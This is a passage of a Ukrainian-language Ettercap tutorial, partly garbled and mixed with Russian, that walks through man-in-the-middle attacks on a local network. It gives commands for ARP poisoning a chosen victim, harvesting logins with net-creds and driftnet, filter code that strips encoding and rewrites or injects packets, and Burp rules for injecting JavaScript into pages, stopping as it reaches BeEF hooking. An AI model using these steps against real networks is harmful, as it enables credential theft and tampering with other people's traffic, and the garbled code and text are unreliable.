Інструкція по Ettercap: атака людина-посередині (MitM), перехоплення паролів, обхід HSTS, підміна даних на льоту, використання фільтрів і плагінів, підчеплення на BeEF, зараження бекдорами. Підчеплення BeEF за допомогою фільтрів Ettercap

Альтернативи Ettercap

Ettercap є найпопулярнішою програмою для атаки людина-посередині, але чи є вона найкращою? Протягом усієї інструкції ви будете бачити, що Ettercap майже ніколи не використовується наодинці, що завжди та чи інша програма вибудовується з нею в ланцюжок з обробки трафіку. Можливо, це додає гнучкості, взагалі такий підхід лежить в основі UNIX - одна програма виконує одне завдання, а кінцевий користувач комбінує різноманітні програми для досягнення бажаного результату. За такого підходу код програм легше підтримувати, з таких мініатюрних «цеглинок» можна побудувати систему будь-якої складності та гнучкості. Тим не менше, мати п'ять відкритих консолей з різними завданнями, робота програм яких спрямована для досягнення одного єдиного результату - це не дуже зручно, це просто складніше, є можливість припуститися помилки на якомусь етапі, і вся налаштована система відпрацює вхолосту.

Net-Creds сніфіт:

  • Відвідані URL
  • надіслані запити POST
  • логіни/паролі з форм HTTP
  • логіни/паролі при базовій HTTP аутентифікації
  • пошуки HTTP
  • логіни/паролі FTP
  • логіни/паролі IRC
  • логіни/паролі POP
  • логіни/паролі IMAP
  • логіни/паролі Telnet
  • логіни/паролі SMTP
  • SNMP community string (загальний рядок)
  • всі підтримувані протоколи NTLMv1/v2 на зразок HTTP, SMB, LDAP тощо.
  • Kerberos

Хороша добірка перехоплюваних, а driftnet у цьому плані простіше - лише показує перехоплені зображення.

Переключіть машину в режим пересилання (форвардингу).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаємо Ettercap з графічним інтерфейсом (-G):

Ettercap-G

Тепер вибираємо Hosts, у ньому підпункт Scan for hosts. Після закінчення сканування виберіть Hosts list:

В якості Цілі1виберіть роутер ( Add to Target 1), в якості Цілі2виберіть пристрій, який атакуватимете ( Добавити до Target 2).

Але тут може виникнути перша затримка, особливо якщо хостів багато. В різних інструкціях, у тому числі у відео представленому вище, автори лізуть у цільову машину (у всіх, чомусь там Windows) і за допомогою команди дивляться IP даної машини в локальної мережі. Погодьтеся, такий варіант є неприйнятним для реальних умов.

Якщо провести сканування за допомогою , можна отримати деяку додаткову інформаціюпро хостів, точніше кажучи, про фірму виробника мережевої карти:

Nmap -sn 192.168.1.0/24

Якщо даних все одно недостатньо, можна зробити сканування з визначенням ОС:

Nmap -O 192.168.1.0/24

Як бачимо, машина з IP 192.168.1.33 виявилася Windows, якщо це не знак згори, тоді що це? 😉 LOL

Саме її ми і додаємо як другу мету.

Тепер переходимо до пункту меню Mitm. Там виберіть ARP poisoning…Поставте галочку на Sniff remote connections.

Починаємо збирати врожай, в одному вікні запускаємо

Net-creds

в іншому (обидві програми можна запускати без опцій)

Driftnet

Відразу ж пішов збір даних:

У правій частині driftnet відкрило ще одне вікно, де показує перехоплені зображення. У вікні net-creds ми бачимо відвідані сайти та перехоплені паролі:

1.2 Ettercap + Burp Suite

3. Перегляд даних (відвіданих сайтів та захоплених паролів) в Ettercap

В меню Viewнам доступні вкладки Connectionsі Profiles. Також можна поставити галочку на Resolve IP addresses(Перетворювати IP адреси). Connections – це, зрозуміло, з'єднання. Ettercap збирає у пам'яті профілі для кожного хоста, який він виявив. Там збираються користувачі та паролі. При цьому профілі із захопленими даними облікового запису (паролями), позначаються хрестиком:

Не треба надто сильно покладатися саме на профілі - позначаються, наприклад, перехоплені логіни та паролі для FTP та інших сервісів, для яких отриману інформацію програма однозначно може інтерпретувати як облікові дані. Сюди не потрапляють, наприклад, дані базової автентифікації, введені логіни та паролі до веб-форм.

У Connections найперспективніші дані позначені зірочкою:

Можна клацнути двічі на ці записи для перегляду подробиць:

Щоб не шукати ці зірочки по всьому списку, можна зробити сортування цим полем і всі вони виявляться нагорі або внизу:

Спіймана базова автентифікація:

Логін-пароль для Яндекса (виділено внизу):

Це перехоплені облікові дані для Вконтакте:

Також найцікавіші дані збираються у нижній консолі:

Якщо ви хочете зберігати результати роботи програми, то скористайтесь цими опціями (вказуйте ключі під час запуску Ettercap:

Опції ведення журналів: -w, --write<файл>записати перехоплені дані в pcapfile<файл>-L, --log<логфайл>записати весь трафік у цей<логфайл>-l, --log-info<логфайл>записати тільки пасивну інформацію в цей<логфайл>-m, --log-msg<логфайл>записати всі повідомлення в цей<логфайл>-c, --compress використовувати стиснення gzip для файлів логів

4. Підміна даних на льоту в Ettercap

4.1 Використання фільтрів користувача Ettercap

Примітка: При всіх тестуваннях у мене не заробили фільтри Ettercap. Важко зрозуміти, справа в руках, в особливостях обладнання або в помилці в самій програмі ... Але для версії 0.8.2 (останньої на поточний момент), є баг репорт про проблеми з фільтрами. Взагалі, судячи з баг репортів та форумів, фільтри або відвалюються часто, або взагалі вже давно не працюють. Є гілка, куди внесені зміни 5 місяців тому https://github.com/Ettercap/ettercap/tree/filter-improvements, тобто. filter-improvements (з поліпшенням фільтрів). І для цієї гілки та для версії з репозиторію було зроблено найрізноманітніші тести, випробувано різноманітні фільтри в різних умовах, витрачено багато часу, але результату немає. До речі, для встановлення версії filter-improvements у Kali Linux потрібно зробити так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5 libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir =On ../ make sudo make install

Загалом, якщо у вас фільтри не заробили – то ви не самотні. В інструкції про Ettercap я не можу пропустити тему фільтрів, тому вони будуть розглянуті у будь-якому випадку.

Поки що ми використовували Ettercap для ARP спуфінгу. Це дуже поверхневе застосування. Завдяки фільтрам користувача, ми можемо втручатися і змінювати трафік «на льоту». Фільтри повинні утримуватися в окремих файлахі перед використанням їх потрібно компілювати за допомогою програми Etterfilter. Хоча документація, на яку дане посилання, і здається куцею, але в поєднанні з прикладами, наведеними нижче, вона дозволить писати досить цікаві фільтри.

Давайте створимо наш перший фільтр, він буде всі зображення замінювати на це:

У файлі з ім'ям img_replacer.filter скопіюйте:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Rubbish!"); # примітка: рядок заміни такої ж довжини як і оригінальний msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Скомпілюйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результати компіляції:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GPRP "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output до "img_replacer.ef" done. -> Script введено до 18 вбудов.

Ключ -Fкаже програмі, що потрібно завантажити фільтр із файлу, що йде за ключем. Після компіляції ім'я нашого нового файлу з фільтром img_replacer.ef, тому команда набуває вигляду:

Ettercap -G -F img_replacer.ef

Примітка: Коли ви моніторите веб-трафік, пакети, які ви бачите можуть проходити в закодованій формі. Для ефективної роботи фільтрів Ettercap потребує трафіку у вигляді простого тексту. За деякими спостереженнями, тип кодування, який використовують веб-сторінки, це "Accept-Encoding: gzip, deflate"

Нижче фільтр, який затирає кодування, примушуючи до спілкування у формі простого тексту:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # примітка: чотири пробіли в рядку, що замінюється msg ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate"))) ( replace("deflate", " "); # примітка: сім прогалин у рядку, що замінюється msg("whited out deflate\n"); ) )

Синтаксис написання фільтрів докладно описаний, а далі ще кілька прикладів:

# заміна тексту в пакеті: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # показати повідомлення , якщо tcp портом є 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # записати весь telnet трафік, також виконати./program на кожен пакет if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log "); exec("./program"); ​​) ) # записати весь трафік, крім http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data , "./logfile.log"); .data + 20 = 0x4445; ) # відкинути всі пакети, що містять "ettercap" if (search(DECODED.data, "ettercap")) ( msg("some one is talking about us...\n"); drop( );kill(); ) # записати розшифровані ssh пакети, що відповідають регулярному виразу if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # вбивство пакетів if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Заміна даних за допомогою Burp

Запускаємо Ettercap і Burp як описано в пункті 1.2 або в пункті 2.2.

У Burp переходимо в Proxy -> Options. Знаходимо там Match and Replace. Натискаємо Addдодавання нового правила.

  • Request header- це заголовок запиту
  • Request body- тіло запиту
  • Response header- заголовок відповіді
  • Response body- тіло відповіді
  • Request param name- Ім'я параметра запиту
  • Request param value- Значення параметра запиту
  • Request first line- Перший рядок запиту

Якщо необхідно змінити дані, передані шляхом GET, це належить до заголовкам.

У HTML розмітці є таке поняття як head (тег head). До цього заголовку ті, про які сказано трохи вище, не мають жодного стосунку. Трохи вище йдеться про заголовки пакетів. Якщо ви хочете змінити вміст HTML сторінки, потрібно замість Request header завжди вибирати Response body, навіть якщо ви збираєтеся міняти вміст head head (наприклад, заголовок).

Якщо ви не знайомі з регулярними висловлюваннями, то, в принципі, нічого страшного: HTML багато що пробачає, і те, що йому незрозуміло, він просто ігнорує – цим можна користуватися. Якщо ж ви вмієте користуватися регулярними виразами, то я вас поважаю.)))

Наприклад створимо нове правило, Request header змінюємо на Response body. У самому правилі ми мінятимемо

.*<\/title> </p><p> <title>No Title

Поставте галочку на Regex match.

Тепер на всіх сайтах (без HTTPS) замість заголовка буде No Title:

Вставляємо довільний рядок після тега body (буде першим рядком у тексті). Request header змінюємо на Response body. Змінюємо

Поставте галочку на Regex match.

У верхньому правому кутку (залежить від верстки) з'являється напис «I am cool!». Можна вставляти CSS, JavaScript код, будь-який текст - будь що. Можна взагалі все зі сторінки видалити, а потім заповнити її своїм вмістом – все залежить від вашої фантазії.

Була ідея трохи модифікувати кожну форму, щоб дані відправлялися на оригінальний сервер та сервер атакуючого (реалізувати мульти submit для кожної форми). Але розсудивши, що якщо дані, що передаються, не зашифровані і ми маємо до них доступ - то ми і так їх бачимо, ні на який сервер їх відправляти не потрібно. Тим не менш, якщо комусь знадобиться, реально працюючий приклад відправки даних з однієї форми відразу на кілька серверів.

5. Підчеплення на BeEF

Щоб почати використовувати можливості BeEF, нам потрібно впровадити в HTML код JavaScript файл, зазвичай це рядок виду: